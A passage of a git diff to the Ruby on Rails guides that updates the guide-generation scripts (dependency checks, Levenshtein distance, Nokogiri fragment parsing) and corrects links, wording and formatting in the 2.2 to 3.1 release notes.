diff --git a/guides/code/getting_started/test/unit/post_test.rb b/guides/code/getting_started/test/unit/post_test.rb
deleted file mode 100644
index 6d9d463a71..0000000000
--- a/guides/code/getting_started/test/unit/post_test.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-require 'test_helper'
-
-class PostTest < ActiveSupport::TestCase
- # test "the truth" do
- # assert true
- # end
-end
diff --git a/guides/code/getting_started/test/unit/tag_test.rb b/guides/code/getting_started/test/unit/tag_test.rb
deleted file mode 100644
index b8498a117c..0000000000
--- a/guides/code/getting_started/test/unit/tag_test.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-require 'test_helper'
-
-class TagTest < ActiveSupport::TestCase
- # test "the truth" do
- # assert true
- # end
-end
diff --git a/guides/code/getting_started/vendor/plugins/.gitkeep b/guides/code/getting_started/vendor/plugins/.gitkeep
deleted file mode 100644
index e69de29bb2..0000000000
--- a/guides/code/getting_started/vendor/plugins/.gitkeep
+++ /dev/null
diff --git a/guides/rails_guides.rb b/guides/rails_guides.rb
index ab890f202c..9d1d5567f6 100644
--- a/guides/rails_guides.rb
+++ b/guides/rails_guides.rb
@@ -5,7 +5,7 @@ $:.unshift pwd
def bundler?
# Note that rake sets the cwd to the one that contains the Rakefile
# being executed.
- File.exists?('Gemfile')
+ File.exist?('Gemfile')
end
begin
@@ -22,13 +22,32 @@ end
begin
require 'redcarpet'
-rescue Gem::LoadError
+rescue LoadError
+ # This can happen if doc:guides is executed in an application.
+ $stderr.puts('Generating guides requires Redcarpet 3.1.2+.')
+ $stderr.puts(<<ERROR) if bundler?
+Please add
+
+ gem 'redcarpet', '~> 3.1.2'
+
+to the Gemfile, run
+
+ bundle install
+
+and try again.
+ERROR
+ exit 1
+end
+
+begin
+ require 'nokogiri'
+rescue LoadError
# This can happen if doc:guides is executed in an application.
- $stderr.puts('Generating guides requires Redcarpet 2.1.1+.')
+ $stderr.puts('Generating guides requires Nokogiri.')
$stderr.puts(<<ERROR) if bundler?
Please add
- gem 'redcarpet', '~> 2.1.1'
+ gem 'nokogiri'
to the Gemfile, run
diff --git a/guides/rails_guides/generator.rb b/guides/rails_guides/generator.rb
index af9c5b8372..aa900454c8 100644
--- a/guides/rails_guides/generator.rb
+++ b/guides/rails_guides/generator.rb
@@ -184,7 +184,7 @@ module RailsGuides
def generate?(source_file, output_file)
fin = File.join(source_dir, source_file)
fout = output_path_for(output_file)
- all || !File.exists?(fout) || File.mtime(fout) < File.mtime(fin)
+ all || !File.exist?(fout) || File.mtime(fout) < File.mtime(fin)
end
def generate_guide(guide, output_file)
diff --git a/guides/rails_guides/helpers.rb b/guides/rails_guides/helpers.rb
index a288d0f0f4..a78c2e9fca 100644
--- a/guides/rails_guides/helpers.rb
+++ b/guides/rails_guides/helpers.rb
@@ -1,3 +1,5 @@
+require 'yaml'
+
module RailsGuides
module Helpers
def guide(name, url, options = {}, &block)
@@ -17,7 +19,7 @@ module RailsGuides
end
def documents_flat
- documents_by_section.map {|section| section['documents']}.flatten
+ documents_by_section.flat_map {|section| section['documents']}
end
def finished_documents(documents)
@@ -37,7 +39,7 @@ module RailsGuides
def author(name, nick, image = 'credits_pic_blank.gif', &block)
image = "images/#{image}"
- result = content_tag(:img, nil, :src => image, :class => 'left pic', :alt => name, :width => 91, :height => 91)
+ result = tag(:img, :src => image, :class => 'left pic', :alt => name, :width => 91, :height => 91)
result << content_tag(:h3, name)
result << content_tag(:p, capture(&block))
content_tag(:div, result, :class => 'clearfix', :id => nick)
diff --git a/guides/rails_guides/kindle.rb b/guides/rails_guides/kindle.rb
index 09eecd5634..32926622e3 100644
--- a/guides/rails_guides/kindle.rb
+++ b/guides/rails_guides/kindle.rb
@@ -70,7 +70,7 @@ module Kindle
File.open("sections/%03d/_section.txt" % section_idx, 'w') {|f| f.puts title}
doc.xpath("//h3[@id]").each_with_index do |h3,item_idx|
subsection = h3.inner_text
- content = h3.xpath("./following-sibling::*").take_while {|x| x.name != "h3"}.map {|x| x.to_html}
+ content = h3.xpath("./following-sibling::*").take_while {|x| x.name != "h3"}.map(&:to_html)
item = Nokogiri::HTML(h3.to_html + content.join("\n"))
item_path = "sections/%03d/%03d.html" % [section_idx, item_idx]
add_head_section(item, subsection)
diff --git a/guides/rails_guides/levenshtein.rb b/guides/rails_guides/levenshtein.rb
index 489aa3ea7a..8a908a4339 100644
--- a/guides/rails_guides/levenshtein.rb
+++ b/guides/rails_guides/levenshtein.rb
@@ -1,31 +1,39 @@
module RailsGuides
module Levenshtein
- # Based on the pseudocode in http://en.wikipedia.org/wiki/Levenshtein_distance
- def self.distance(s1, s2)
- s = s1.unpack('U*')
- t = s2.unpack('U*')
- m = s.length
- n = t.length
+ # This code is based directly on the Text gem implementation
+ # Returns a value representing the "cost" of transforming str1 into str2
+ def self.distance str1, str2
+ s = str1
+ t = str2
+ n = s.length
+ m = t.length
+ max = n/2
- # matrix initialization
- d = []
- 0.upto(m) { |i| d << [i] }
- 0.upto(n) { |j| d[0][j] = j }
+ return m if (0 == n)
+ return n if (0 == m)
+ return n if (n - m).abs > max
- # distance computation
- 1.upto(m) do |i|
- 1.upto(n) do |j|
- cost = s[i] == t[j] ? 0 : 1
- d[i][j] = [
- d[i-1][j] + 1, # deletion
- d[i][j-1] + 1, # insertion
- d[i-1][j-1] + cost, # substitution
- ].min
+ d = (0..m).to_a
+ x = nil
+
+ str1.each_char.each_with_index do |char1,i|
+ e = i+1
+
+ str2.each_char.each_with_index do |char2,j|
+ cost = (char1 == char2) ? 0 : 1
+ x = [
+ d[j+1] + 1, # insertion
+ e + 1, # deletion
+ d[j] + cost # substitution
+ ].min
+ d[j] = e
+ e = x
end
+
+ d[m] = x
end
- # all done
- return d[m][n]
+ return x
end
end
end
diff --git a/guides/rails_guides/markdown.rb b/guides/rails_guides/markdown.rb
index 650489e6cb..17035069d0 100644
--- a/guides/rails_guides/markdown.rb
+++ b/guides/rails_guides/markdown.rb
@@ -1,3 +1,5 @@
+# encoding: utf-8
+
require 'redcarpet'
require 'nokogiri'
require 'rails_guides/markdown/renderer'
@@ -45,8 +47,12 @@ module RailsGuides
end
def dom_id_text(text)
- text.downcase.gsub(/\?/, '-questionmark').gsub(/!/, '-bang').gsub(/[^a-z0-9]+/, ' ')
- .strip.gsub(/\s+/, '-')
+ escaped_chars = Regexp.escape('\\/`*_{}[]()#+-.!:,;|&<>^~=\'"')
+
+ text.downcase.gsub(/\?/, '-questionmark')
+ .gsub(/!/, '-bang')
+ .gsub(/[#{escaped_chars}]+/, ' ').strip
+ .gsub(/\s+/, '-')
end
def engine
@@ -77,10 +83,10 @@ module RailsGuides
def generate_structure
@headings_for_index = []
if @body.present?
- @body = Nokogiri::HTML(@body).tap do |doc|
+ @body = Nokogiri::HTML.fragment(@body).tap do |doc|
hierarchy = []
- doc.at('body').children.each do |node|
+ doc.children.each do |node|
if node.name =~ /^h[3-6]$/
case node.name
when 'h3'
@@ -114,7 +120,7 @@ module RailsGuides
end
end
- @index = Nokogiri::HTML(engine.render(raw_index)).tap do |doc|
+ @index = Nokogiri::HTML.fragment(engine.render(raw_index)).tap do |doc|
doc.at('ol')[:class] = 'chapters'
end.to_html
@@ -128,8 +134,8 @@ module RailsGuides
end
def generate_title
- if heading = Nokogiri::HTML(@header).at(:h2)
- @title = "Ruby on Rails Guides: #{heading.text}".html_safe
+ if heading = Nokogiri::HTML.fragment(@header).at(:h2)
+ @title = "#{heading.text} — Ruby on Rails Guides"
else
@title = "Ruby on Rails Guides"
end
diff --git a/guides/rails_guides/markdown/renderer.rb b/guides/rails_guides/markdown/renderer.rb
index c3fe5b8799..688f177578 100644
--- a/guides/rails_guides/markdown/renderer.rb
+++ b/guides/rails_guides/markdown/renderer.rb
@@ -50,7 +50,7 @@ HTML
when 'erb'
'ruby; html-script: true'
when 'html'
- 'xml' # html is understood, but there are .xml rules in the CSS
+ 'xml' # HTML is understood, but there are .xml rules in the CSS
else
'plain'
end
@@ -65,7 +65,7 @@ HTML
# if a bulleted list follows the first item is not rendered
# as a list item, but as a paragraph starting with a plain
# asterisk.
- body.gsub(/^(TIP|IMPORTANT|CAUTION|WARNING|NOTE|INFO|TODO)[.:](.*?)(\n(?=\n)|\Z)/m) do |m|
+ body.gsub(/^(TIP|IMPORTANT|CAUTION|WARNING|NOTE|INFO|TODO)[.:](.*?)(\n(?=\n)|\Z)/m) do
css_class = case $1
when 'CAUTION', 'IMPORTANT'
'warning'
diff --git a/guides/source/2_2_release_notes.md b/guides/source/2_2_release_notes.md
index cef82f3784..b11aaa15a8 100644
--- a/guides/source/2_2_release_notes.md
+++ b/guides/source/2_2_release_notes.md
@@ -1,7 +1,7 @@
Ruby on Rails 2.2 Release Notes
===============================
-Rails 2.2 delivers a number of new and improved features. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the [list of commits](http://github.com/rails/rails/commits/master) in the main Rails repository on GitHub.
+Rails 2.2 delivers a number of new and improved features. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the [list of commits](http://github.com/rails/rails/commits/2-2-stable) in the main Rails repository on GitHub.
Along with Rails, 2.2 marks the launch of the [Ruby on Rails Guides](http://guides.rubyonrails.org/), the first results of the ongoing [Rails Guides hackfest](http://hackfest.rubyonrails.org/guide). This site will deliver high-quality documentation of the major features of Rails.
@@ -31,20 +31,20 @@ Documentation
The internal documentation of Rails, in the form of code comments, has been improved in numerous places. In addition, the [Ruby on Rails Guides](http://guides.rubyonrails.org/) project is the definitive source for information on major Rails components. In its first official release, the Guides page includes:
-* [Getting Started with Rails](http://guides.rubyonrails.org/getting_started.html)
-* [Rails Database Migrations](http://guides.rubyonrails.org/migrations.html)
-* [Active Record Associations](http://guides.rubyonrails.org/association_basics.html)
-* [Active Record Query Interface](http://guides.rubyonrails.org/active_record_querying.html)
-* [Layouts and Rendering in Rails](http://guides.rubyonrails.org/layouts_and_rendering.html)
-* [Action View Form Helpers](http://guides.rubyonrails.org/form_helpers.html)
-* [Rails Routing from the Outside In](http://guides.rubyonrails.org/routing.html)
-* [Action Controller Overview](http://guides.rubyonrails.org/action_controller_overview.html)
-* [Rails Caching](http://guides.rubyonrails.org/caching_with_rails.html)
-* [A Guide to Testing Rails Applications](http://guides.rubyonrails.org/testing.html)
-* [Securing Rails Applications](http://guides.rubyonrails.org/security.html)
-* [Debugging Rails Applications](http://guides.rubyonrails.org/debugging_rails_applications.html)
-* [Performance Testing Rails Applications](http://guides.rubyonrails.org/performance_testing.html)
-* [The Basics of Creating Rails Plugins](http://guides.rubyonrails.org/plugins.html)
+* [Getting Started with Rails](getting_started.html)
+* [Rails Database Migrations](migrations.html)
+* [Active Record Associations](association_basics.html)
+* [Active Record Query Interface](active_record_querying.html)
+* [Layouts and Rendering in Rails](layouts_and_rendering.html)
+* [Action View Form Helpers](form_helpers.html)
+* [Rails Routing from the Outside In](routing.html)
+* [Action Controller Overview](action_controller_overview.html)
+* [Rails Caching](caching_with_rails.html)
+* [A Guide to Testing Rails Applications](testing.html)
+* [Securing Rails Applications](security.html)
+* [Debugging Rails Applications](debugging_rails_applications.html)
+* [Performance Testing Rails Applications](performance_testing.html)
+* [The Basics of Creating Rails Plugins](plugins.html)
All told, the Guides provide tens of thousands of words of guidance for beginning and intermediate Rails developers.
@@ -200,7 +200,7 @@ Active Record association proxies now respect the scope of methods on the proxie
* More information:
* [Rails 2.2 Change: Private Methods on Association Proxies are Private](http://afreshcup.com/2008/10/24/rails-22-change-private-methods-on-association-proxies-are-private/)
-### Other ActiveRecord Changes
+### Other Active Record Changes
* `rake db:migrate:redo` now accepts an optional VERSION to target that specific migration to redo
* Set `config.active_record.timestamped_migrations = false` to have migrations with numeric prefix instead of UTC timestamp.
@@ -236,7 +236,7 @@ This will enable recognition of (among others) these routes:
* Lead Contributor: [S. Brent Faulkner](http://www.unwwwired.net/)
* More information:
- * [Rails Routing from the Outside In](http://guides.rubyonrails.org/routing.html#nested-resources)
+ * [Rails Routing from the Outside In](routing.html#nested-resources)
* [What's New in Edge Rails: Shallow Routes](http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-shallow-routes)
### Method Arrays for Member or Collection Routes
@@ -327,7 +327,7 @@ Other features of memoization include `unmemoize`, `unmemoize_all`, and `memoize
The `each_with_object` method provides an alternative to `inject`, using a method backported from Ruby 1.9. It iterates over a collection, passing the current element and the memo into the block.
```ruby
-%w(foo bar).each_with_object({}) { |str, hsh| hsh[str] = str.upcase } #=> {'foo' => 'FOO', 'bar' => 'BAR'}
+%w(foo bar).each_with_object({}) { |str, hsh| hsh[str] = str.upcase } # => {'foo' => 'FOO', 'bar' => 'BAR'}
```
Lead Contributor: [Adam Keys](http://therealadam.com/)
@@ -366,7 +366,7 @@ Lead Contributor: [Daniel Schierbeck](http://workingwithrails.com/person/5830-da
* `Inflector#parameterize` produces a URL-ready version of its input, for use in `to_param`.
* `Time#advance` recognizes fractional days and weeks, so you can do `1.7.weeks.ago`, `1.5.hours.since`, and so on.
* The included TzInfo library has been upgraded to version 0.3.12.
-* `ActiveSuport::StringInquirer` gives you a pretty way to test for equality in strings: `ActiveSupport::StringInquirer.new("abc").abc? => true`
+* `ActiveSupport::StringInquirer` gives you a pretty way to test for equality in strings: `ActiveSupport::StringInquirer.new("abc").abc? => true`
Railties
--------
diff --git a/guides/source/2_3_release_notes.md b/guides/source/2_3_release_notes.md
index 7aef566e40..20566c9155 100644
--- a/guides/source/2_3_release_notes.md
+++ b/guides/source/2_3_release_notes.md
@@ -1,14 +1,14 @@
Ruby on Rails 2.3 Release Notes
===============================
-Rails 2.3 delivers a variety of new and improved features, including pervasive Rack integration, refreshed support for Rails Engines, nested transactions for Active Record, dynamic and default scopes, unified rendering, more efficient routing, application templates, and quiet backtraces. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the [list of commits](http://github.com/rails/rails/commits/master) in the main Rails repository on GitHub or review the `CHANGELOG` files for the individual Rails components.
+Rails 2.3 delivers a variety of new and improved features, including pervasive Rack integration, refreshed support for Rails Engines, nested transactions for Active Record, dynamic and default scopes, unified rendering, more efficient routing, application templates, and quiet backtraces. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the [list of commits](http://github.com/rails/rails/commits/2-3-stable) in the main Rails repository on GitHub or review the `CHANGELOG` files for the individual Rails components.
--------------------------------------------------------------------------------
Application Architecture
------------------------
-There are two major changes in the architecture of Rails applications: complete integration of the [Rack](http://rack.rubyforge.org/) modular web server interface, and renewed support for Rails Engines.
+There are two major changes in the architecture of Rails applications: complete integration of the [Rack](http://rack.github.io/) modular web server interface, and renewed support for Rails Engines.
### Rack Integration
@@ -40,7 +40,7 @@ Here's a summary of the rack-related changes:
* `ActiveRecord::QueryCache` middleware is automatically inserted onto the middleware stack if `ActiveRecord` has been loaded. This middleware sets up and flushes the per-request Active Record query cache.
* The Rails router and controller classes follow the Rack spec. You can call a controller directly with `SomeController.call(env)`. The router stores the routing parameters in `rack.routing_args`.
* `ActionController::Request` inherits from `Rack::Request`.
-* Instead of `config.action_controller.session = { :session_key => 'foo', ...` use `config.action_controller.session = { :key => 'foo', ...`.
+* Instead of `config.action_controller.session = { :session_key => 'foo', ...` use `config.action_controller.session = { :key => 'foo', ...`.
* Using the `ParamsParser` middleware preprocesses any XML, JSON, or YAML requests so they can be read normally with any `Rack::Request` object after it.
### Renewed Support for Rails Engines
@@ -134,7 +134,7 @@ Rails 2.3 will introduce the notion of _default scopes_ similar to named scopes,
### Batch Processing
-You can now process large numbers of records from an ActiveRecord model with less pressure on memory by using `find_in_batches`:
+You can now process large numbers of records from an Active Record model with less pressure on memory by using `find_in_batches`:
```ruby
Customer.find_in_batches(:conditions => {:active => true}) do |customer_group|
@@ -173,8 +173,8 @@ before_save :update_credit_rating, :if => :active,
Rails now has a `:having` option on find (as well as on `has_many` and `has_and_belongs_to_many` associations) for filtering records in grouped finds. As those with heavy SQL backgrounds know, this allows filtering based on grouped results:
```ruby
-developers = Developer.find(:all, :group => "salary",
- :having => "sum(salary) > 10000", :select => "salary")
+developers = Developer.find(:all, :group => "salary",
+ :having => "sum(salary) > 10000", :select => "salary")
```
* Lead Contributor: [Emilio Tagua](http://github.com/miloops)
@@ -237,7 +237,7 @@ If you're one of the people who has always been bothered by the special-case nam
### HTTP Digest Authentication Support
-Rails now has built-in support for HTTP digest authentication. To use it, you call `authenticate_or_request_with_http_digest` with a block that returns the user’s password (which is then hashed and compared against the transmitted credentials):
+Rails now has built-in support for HTTP digest authentication. To use it, you call `authenticate_or_request_with_http_digest` with a block that returns the user's password (which is then hashed and compared against the transmitted credentials):
```ruby
class PostsController < ApplicationController
@@ -451,11 +451,11 @@ select(:post, :category, Post::CATEGORIES, :disabled => 'private')
returns
```html
-<select name=“post[category]“>
+<select name="post[category]">
<option>story</option>
<option>joke</option>
<option>poem</option>
-<option disabled=“disabled“>private</option>
+<option disabled="disabled">private</option>
</select>
```
@@ -504,7 +504,7 @@ A lot of folks have adopted the notion of using try() to attempt operations on o
### Swappable Parsers for XMLmini
-The support for XML parsing in ActiveSupport has been made more flexible by allowing you to swap in different parsers. By default, it uses the standard REXML implementation, but you can easily specify the faster LibXML or Nokogiri implementations for your own applications, provided you have the appropriate gems installed:
+The support for XML parsing in Active Support has been made more flexible by allowing you to swap in different parsers. By default, it uses the standard REXML implementation, but you can easily specify the faster LibXML or Nokogiri implementations for your own applications, provided you have the appropriate gems installed:
```ruby
XmlMini.backend = 'LibXML'
@@ -594,7 +594,7 @@ The internals of the various <code>rake gem</code> tasks have been substantially
* Various files in /public that deal with CGI and FCGI dispatching are no longer generated in every Rails application by default (you can still get them if you need them by adding `--with-dispatchers` when you run the `rails` command, or add them later with `rake rails:update:generate_dispatchers`).
* Rails Guides have been converted from AsciiDoc to Textile markup.
* Scaffolded views and controllers have been cleaned up a bit.
-* `script/server` now accepts a <tt>--path</tt> argument to mount a Rails application from a specific path.
+* `script/server` now accepts a `--path` argument to mount a Rails application from a specific path.
* If any configured gems are missing, the gem rake tasks will skip loading much of the environment. This should solve many of the "chicken-and-egg" problems where rake gems:install couldn't run because gems were missing.
* Gems are now unpacked exactly once. This fixes issues with gems (hoe, for instance) which are packed with read-only permissions on the files.
@@ -604,9 +604,9 @@ Deprecated
A few pieces of older code are deprecated in this release:
* If you're one of the (fairly rare) Rails developers who deploys in a fashion that depends on the inspector, reaper, and spawner scripts, you'll need to know that those scripts are no longer included in core Rails. If you need them, you'll be able to pick up copies via the [irs_process_scripts](http://github.com/rails/irs_process_scripts/tree) plugin.
-* `render_component` goes from "deprecated" to "nonexistent" in Rails 2.3. If you still need it, you can install the [render_component plugin](http://github.com/rails/render_component/tree/master.)
+* `render_component` goes from "deprecated" to "nonexistent" in Rails 2.3. If you still need it, you can install the [render_component plugin](http://github.com/rails/render_component/tree/master).
* Support for Rails components has been removed.
-* If you were one of the people who got used to running `script/performance/request` to look at performance based on integration tests, you need to learn a new trick: that script has been removed from core Rails now. There’s a new request_profiler plugin that you can install to get the exact same functionality back.
+* If you were one of the people who got used to running `script/performance/request` to look at performance based on integration tests, you need to learn a new trick: that script has been removed from core Rails now. There's a new request_profiler plugin that you can install to get the exact same functionality back.
* `ActionController::Base#session_enabled?` is deprecated because sessions are lazy-loaded now.
* The `:digest` and `:secret` options to `protect_from_forgery` are deprecated and have no effect.
* Some integration test helpers have been removed. `response.headers["Status"]` and `headers["Status"]` will no longer return anything. Rack does not allow "Status" in its return headers. However you can still use the `status` and `status_message` helpers. `response.headers["cookie"]` and `headers["cookie"]` will no longer return any CGI cookies. You can inspect `headers["Set-Cookie"]` to see the raw cookie header or use the `cookies` helper to get a hash of the cookies sent to the client.
@@ -618,4 +618,4 @@ A few pieces of older code are deprecated in this release:
Credits
-------
-Release notes compiled by [Mike Gunderloy](http://afreshcup.com.) This version of the Rails 2.3 release notes was compiled based on RC2 of Rails 2.3.
+Release notes compiled by [Mike Gunderloy](http://afreshcup.com). This version of the Rails 2.3 release notes was compiled based on RC2 of Rails 2.3.
diff --git a/guides/source/3_0_release_notes.md b/guides/source/3_0_release_notes.md
index 388ba3fa30..e985f1ab4b 100644
--- a/guides/source/3_0_release_notes.md
+++ b/guides/source/3_0_release_notes.md
@@ -15,7 +15,7 @@ Even if you don't give a hoot about any of our internal cleanups, Rails 3.0 is g
On top of all that, we've tried our best to deprecate the old APIs with nice warnings. That means that you can move your existing application to Rails 3 without immediately rewriting all your old code to the latest best practices.
-These release notes cover the major upgrades, but don't include every little bug fix and change. Rails 3.0 consists of almost 4,000 commits by more than 250 authors! If you want to see everything, check out the [list of commits](http://github.com/rails/rails/commits/master) in the main Rails repository on GitHub.
+These release notes cover the major upgrades, but don't include every little bug fix and change. Rails 3.0 consists of almost 4,000 commits by more than 250 authors! If you want to see everything, check out the [list of commits](http://github.com/rails/rails/commits/3-0-stable) in the main Rails repository on GitHub.
--------------------------------------------------------------------------------
@@ -73,13 +73,11 @@ You can see an example of how that works at [Rails Upgrade is now an Official Pl
Aside from Rails Upgrade tool, if you need more help, there are people on IRC and [rubyonrails-talk](http://groups.google.com/group/rubyonrails-talk) that are probably doing the same thing, possibly hitting the same issues. Be sure to blog your own experiences when upgrading so others can benefit from your knowledge!
-More information - [The Path to Rails 3: Approaching the upgrade](http://omgbloglol.com/post/353978923/the-path-to-rails-3-approaching-the-upgrade)
-
Creating a Rails 3.0 application
--------------------------------
```bash
-# You should have the 'rails' rubygem installed
+# You should have the 'rails' RubyGem installed
$ rails new myapp
$ cd myapp
```
@@ -140,7 +138,7 @@ More Information: - [Rails Edge Architecture](http://yehudakatz.com/2009/06/11/r
[Arel](http://github.com/brynary/arel) (or Active Relation) has been taken on as the underpinnings of Active Record and is now required for Rails. Arel provides an SQL abstraction that simplifies out Active Record and provides the underpinnings for the relation functionality in Active Record.
-More information: - [Why I wrote Arel](http://magicscalingsprinkles.wordpress.com/2010/01/28/why-i-wrote-arel/.)
+More information: - [Why I wrote Arel](https://web.archive.org/web/20120718093140/http://magicscalingsprinkles.wordpress.com/2010/01/28/why-i-wrote-arel/)
### Mail Extraction
@@ -296,11 +294,11 @@ NOTE. The old style `map` commands still work as before with a backwards compati
Deprecations
* The catch all route for non-REST applications (`/:controller/:action/:id`) is now commented out.
-* Routes :path\_prefix no longer exists and :name\_prefix now automatically adds "\_" at the end of the given value.
+* Routes `:path_prefix` no longer exists and `:name_prefix` now automatically adds "_" at the end of the given value.
More Information:
* [The Rails 3 Router: Rack it Up](http://yehudakatz.com/2009/12/26/the-rails-3-router-rack-it-up/)
-* [Revamped Routes in Rails 3](http://rizwanreza.com/2009/12/20/revamped-routes-in-rails-3)
+* [Revamped Routes in Rails 3](https://medium.com/fusion-of-thoughts/revamped-routes-in-rails-3-b6d00654e5b0)
* [Generic Actions in Rails 3](http://yehudakatz.com/2009/12/20/generic-actions-in-rails-3/)
@@ -310,7 +308,7 @@ More Information:
Major re-write was done in the Action View helpers, implementing Unobtrusive JavaScript (UJS) hooks and removing the old inline AJAX commands. This enables Rails to use any compliant UJS driver to implement the UJS hooks in the helpers.
-What this means is that all previous `remote_<method>` helpers have been removed from Rails core and put into the [Prototype Legacy Helper](http://github.com/rails/prototype_legacy_helper.) To get UJS hooks into your HTML, you now pass `:remote => true` instead. For example:
+What this means is that all previous `remote_<method>` helpers have been removed from Rails core and put into the [Prototype Legacy Helper](http://github.com/rails/prototype_legacy_helper). To get UJS hooks into your HTML, you now pass `:remote => true` instead. For example:
```ruby
form_for @post, :remote => true
@@ -342,7 +340,7 @@ Helpers that do something else, like `cache` or `content_for`, are not affected
* Helpers now output HTML 5 by default.
* Form label helper now pulls values from I18n with a single value, so `f.label :name` will pull the `:name` translation.
* I18n select label on should now be :en.helpers.select instead of :en.support.select.
-* You no longer need to place a minus sign at the end of a ruby interpolation inside an ERb template to remove the trailing carriage return in the HTML output.
+* You no longer need to place a minus sign at the end of a Ruby interpolation inside an ERB template to remove the trailing carriage return in the HTML output.
* Added `grouped_collection_select` helper to Action View.
* `content_for?` has been added allowing you to check for the existence of content in a view before rendering.
* passing `:value => nil` to form helpers will set the field's `value` attribute to nil as opposed to using the default value
@@ -475,7 +473,7 @@ As well as the following deprecations:
* `named_scope` in an Active Record class is deprecated and has been renamed to just `scope`.
* In `scope` methods, you should move to using the relation methods, instead of a `:conditions => {}` finder method, for example `scope :since, lambda {|time| where("created_at > ?", time) }`.
* `save(false)` is deprecated, in favor of `save(:validate => false)`.
-* I18n error messages for ActiveRecord should be changed from :en.activerecord.errors.template to `:en.errors.template`.
+* I18n error messages for Active Record should be changed from :en.activerecord.errors.template to `:en.errors.template`.
* `model.errors.on` is deprecated in favor of `model.errors[]`
* validates_presence_of => validates... :presence => true
* `ActiveRecord::Base.colorize_logging` and `config.active_record.colorize_logging` are deprecated in favor of `Rails::LogSubscriber.colorize_logging` or `config.colorize_logging`
@@ -523,7 +521,7 @@ A large effort was made in Active Support to make it cherry pickable, that is, y
These are the main changes in Active Support:
* Large clean up of the library removing unused methods throughout.
-* Active Support no longer provides vendored versions of [TZInfo](http://tzinfo.rubyforge.org/), [Memcache Client](http://deveiate.org/projects/RMemCache/) and [Builder](http://builder.rubyforge.org/,) these are all included as dependencies and installed via the `bundle install` command.
+* Active Support no longer provides vendored versions of TZInfo, Memcache Client and Builder. These are all included as dependencies and installed via the `bundle install` command.
* Safe buffers are implemented in `ActiveSupport::SafeBuffer`.
* Added `Array.uniq_by` and `Array.uniq_by!`.
* Removed `Array#rand` and backported `Array#sample` from Ruby 1.9.
@@ -547,7 +545,7 @@ These are the main changes in Active Support:
* `String#to_time` and `String#to_datetime` handle fractional seconds.
* Added support to new callbacks for around filter object that respond to `:before` and `:after` used in before and after callbacks.
* The `ActiveSupport::OrderedHash#to_a` method returns an ordered set of arrays. Matches Ruby 1.9's `Hash#to_a`.
-* `MissingSourceFile` exists as a constant but it is now just equals to `LoadError`.
+* `MissingSourceFile` exists as a constant but it is now just equal to `LoadError`.
* Added `Class#class_attribute`, to be able to declare a class-level attribute whose value is inheritable and overwritable by subclasses.
* Finally removed `DeprecatedCallbacks` in `ActiveRecord::Associations`.
* `Object#metaclass` is now `Kernel#singleton_class` to match Ruby.
@@ -576,11 +574,11 @@ The following methods have been removed because they are no longer used in the f
Action Mailer
-------------
-Action Mailer has been given a new API with TMail being replaced out with the new [Mail](http://github.com/mikel/mail) as the Email library. Action Mailer itself has been given an almost complete re-write with pretty much every line of code touched. The result is that Action Mailer now simply inherits from Abstract Controller and wraps the Mail gem in a Rails DSL. This reduces the amount of code and duplication of other libraries in Action Mailer considerably.
+Action Mailer has been given a new API with TMail being replaced out with the new [Mail](http://github.com/mikel/mail) as the email library. Action Mailer itself has been given an almost complete re-write with pretty much every line of code touched. The result is that Action Mailer now simply inherits from Abstract Controller and wraps the Mail gem in a Rails DSL. This reduces the amount of code and duplication of other libraries in Action Mailer considerably.
* All mailers are now in `app/mailers` by default.
* Can now send email using new API with three methods: `attachments`, `headers` and `mail`.
-* ActionMailer now has native support for inline attachments using the `attachments.inline` method.
+* Action Mailer now has native support for inline attachments using the `attachments.inline` method.
* Action Mailer emailing methods now return `Mail::Message` objects, which can then be sent the `deliver` message to send itself.
* All delivery methods are now abstracted out to the Mail gem.
* The mail delivery method can accept a hash of all valid mail header fields with their value pair.
@@ -610,5 +608,4 @@ Credits
See the [full list of contributors to Rails](http://contributors.rubyonrails.org/) for the many people who spent many hours making Rails 3. Kudos to all of them.
-Rails 3.0 Release Notes were compiled by [Mikel Lindsaar](http://lindsaar.net.)
-
+Rails 3.0 Release Notes were compiled by [Mikel Lindsaar](http://lindsaar.net).
diff --git a/guides/source/3_1_release_notes.md b/guides/source/3_1_release_notes.md
index d3f8abe0c8..b7ed285b96 100644
--- a/guides/source/3_1_release_notes.md
+++ b/guides/source/3_1_release_notes.md
@@ -8,7 +8,10 @@ Highlights in Rails 3.1:
* Assets Pipeline
* jQuery as the default JavaScript library
-This release notes cover the major changes, but don't include every little bug fix and change. If you want to see everything, check out the [list of commits](https://github.com/rails/rails/commits/master) in the main Rails repository on GitHub.
+These release notes cover only the major changes. To learn about various bug
+fixes and changes, please refer to the change logs or check out the [list of
+commits](https://github.com/rails/rails/commits/3-1-stable) in the main Rails
+repository on GitHub.
--------------------------------------------------------------------------------
@@ -137,7 +140,7 @@ Creating a Rails 3.1 application
--------------------------------
```bash
-# You should have the 'rails' rubygem installed
+# You should have the 'rails' RubyGem installed
$ rails new myapp
$ cd myapp
```
@@ -173,7 +176,7 @@ The assets pipeline is powered by [Sprockets](https://github.com/sstephenson/spr
### HTTP Streaming
-HTTP Streaming is another change that is new in Rails 3.1. This lets the browser download your stylesheets and JavaScript files while the server is still generating the response. This requires Ruby 1.9.2, is opt-in and requires support from the web server as well, but the popular combo of nginx and unicorn is ready to take advantage of it.
+HTTP Streaming is another change that is new in Rails 3.1. This lets the browser download your stylesheets and JavaScript files while the server is still generating the response. This requires Ruby 1.9.2, is opt-in and requires support from the web server as well, but the popular combo of NGINX and Unicorn is ready to take advantage of it.
### Default JS library is now jQuery
@@ -286,7 +289,7 @@ Action Pack
end
```
- You can restrict it to some actions by using `:only` or `:except`. Please read the docs at [`ActionController::Streaming`](http://api.rubyonrails.org/classes/ActionController/Streaming.html) for more information.
+ You can restrict it to some actions by using `:only` or `:except`. Please read the docs at [`ActionController::Streaming`](http://api.rubyonrails.org/v3.1.0/classes/ActionController/Streaming.html) for more information.
* The redirect route method now also accepts a hash of options which will only change the parts of the url in question, or an object which responds to call, allowing for redirects to be reused.
diff --git a/guides/source/3_2_release_notes.md b/guides/source/3_2_release_notes.md
index 68a47be14f..c5db0262e9 100644
--- a/guides/source/3_2_release_notes.md
